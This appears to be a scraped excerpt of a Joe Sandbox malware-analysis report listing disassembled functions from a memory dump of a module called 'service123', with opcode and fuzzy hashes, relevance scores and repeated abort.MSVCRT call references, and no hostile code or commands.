Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID: @
API String ID: 4206212132-2766056989
Opcode ID: f94ea84a3d24238d57a6f02d953d31d7c40cde23efbbcfa4c83f732c7bae858d
Instruction ID: 4a947efd8773e15a4f3f802578918829576b70677e554df60c8721b89210ebc6
Opcode Fuzzy Hash: f94ea84a3d24238d57a6f02d953d31d7c40cde23efbbcfa4c83f732c7bae858d
Instruction Fuzzy Hash: 92B1563260931A8FC324CF2CC4D0756B7E2AB85318F4A857EDDA597B85D739E808CB91

Function 6C172290 Relevance: 42.4, APIs: 28, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e4022e4dc3161894e6bc2e1062f01ecf02668110c10b97064a14b5dcb9c354
Instruction ID: 1ce05b7595a4d334ed5ce12e27d93eefbc04df75afe4546ae8c6f5c746707f51
Opcode Fuzzy Hash: 38e4022e4dc3161894e6bc2e1062f01ecf02668110c10b97064a14b5dcb9c354
Instruction Fuzzy Hash: D7C1CD71604201CFD724CF29C48475AB7E2FB89308F55C969D889DFB45E739E94ACBA0

Function 6C17B7A0 Relevance: 42.2, APIs: 28, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a430879f49d6c64dd8a66de49d8f4d4651e3a351929724a6b362e6f311e3c77
Instruction ID: 7e594d869e3a45a97224690d2462ccae94b40eb43d96c7c86295311a32817b60
Opcode Fuzzy Hash: 3a430879f49d6c64dd8a66de49d8f4d4651e3a351929724a6b362e6f311e3c77
Instruction Fuzzy Hash: 3441F571A093459FD724CF29C0C07167BE0BF89328F188A9DED964BB82C339E845CB61

Function 6C1729F0 Relevance: 42.1, APIs: 28, Instructions: 78COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a7e69fa5f426b350dcd49bc5a06637d79063959f81d9bc73c3448a31c6035b9b
Instruction ID: 81b64be0839a688d15e17f1b6323a74388ab74fbbb05f35cb4383f7cf88cb774
Opcode Fuzzy Hash: a7e69fa5f426b350dcd49bc5a06637d79063959f81d9bc73c3448a31c6035b9b
Instruction Fuzzy Hash: FB01D6B2506205CBE708EF28D4D5B56B7B0FB15309F119A48D585DBB11D739E818CFA0

Function 6C1728BB Relevance: 42.1, APIs: 28, Instructions: 73COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1199add17cd0f63266e3a94a1a6dfd1a70938de579a2f710c2982d64f067f8a8
Instruction ID: 8e9b6cf77b9e14acc18c146353f0f1f5225278285fe2db384e51a338d7c910d6
Opcode Fuzzy Hash: 1199add17cd0f63266e3a94a1a6dfd1a70938de579a2f710c2982d64f067f8a8
Instruction Fuzzy Hash: 1C013CB2506205CBE708EF18D4D5B56B7B0FB11309F01DA48D5869BB01C739E828CFA0

Function 6C172A6E Relevance: 42.1, APIs: 28, Instructions: 71COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 619a446dc950f7ae652d96a3e4add1f7ecbf6b0f2633c03f8ff3b9fdf443f5cb
Instruction ID: a5ff8f671d58f6f9fbd3c4cd2785958ff354b72bb4793fea814f4dec2461cfdb
Opcode Fuzzy Hash: 619a446dc950f7ae652d96a3e4add1f7ecbf6b0f2633c03f8ff3b9fdf443f5cb
Instruction Fuzzy Hash: 63014FB1505205CBE708EF18D4D5B56B7B0FB11309F01DA48D8559BB01C739E418CF90

Function 6C172B13 Relevance: 42.1, APIs: 28, Instructions: 69COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 0ce06ad72015db7c0af1e6c6a876e824f7fad3fc81cdc8165baaaa0d07c4b8a7
Instruction ID: e5e2a72213659bd1f7adaf8e4c549ba2c144076a036ecabd34428e1b86f817a6
Opcode Fuzzy Hash: 0ce06ad72015db7c0af1e6c6a876e824f7fad3fc81cdc8165baaaa0d07c4b8a7
Instruction Fuzzy Hash: C0F06DB1906605CBD708EF18D4E4B66B7B1FF12309F01DA48D8469BB01C739E428CFA0

Function 6C172AAD Relevance: 42.1, APIs: 28, Instructions: 65COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C246CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ff5d7524cf2de9477baa5e0d945e2e1482ef96807080ad6a67a2c68bf003b117
Instruction ID: ab06d6e895168015e123fbda1e3af75342dbcdfb150eee931cd0a9e1f3018949
Opcode Fuzzy Hash: ff5d7524cf2de9477baa5e0d945e2e1482ef96807080ad6a67a2c68bf003b117
Instruction Fuzzy Hash: B3F03AB1906606CBD718EF18C0E476AB770FF06348F11A988C8069BF06D739E428CF90

Function 6C17B930 Relevance: 40.6, APIs: 27, Instructions: 135COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: aad377e7323b9ba6d9aa4d465bde2a11a7a699ed4c63073f6df037924c32169a
Instruction ID: f31a84510d4935a018244ecca2150725930072ce19268d8a1ba45585f7e7e45c
Opcode Fuzzy Hash: aad377e7323b9ba6d9aa4d465bde2a11a7a699ed4c63073f6df037924c32169a
Instruction Fuzzy Hash: AD3137B0249B0D9FC7248F59C4D1397B3E1EB85354F40893ADAB587B81D3389C54DB61

Function 6C17BFCC Relevance: 39.1, APIs: 26, Instructions: 63COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D03
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D08
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
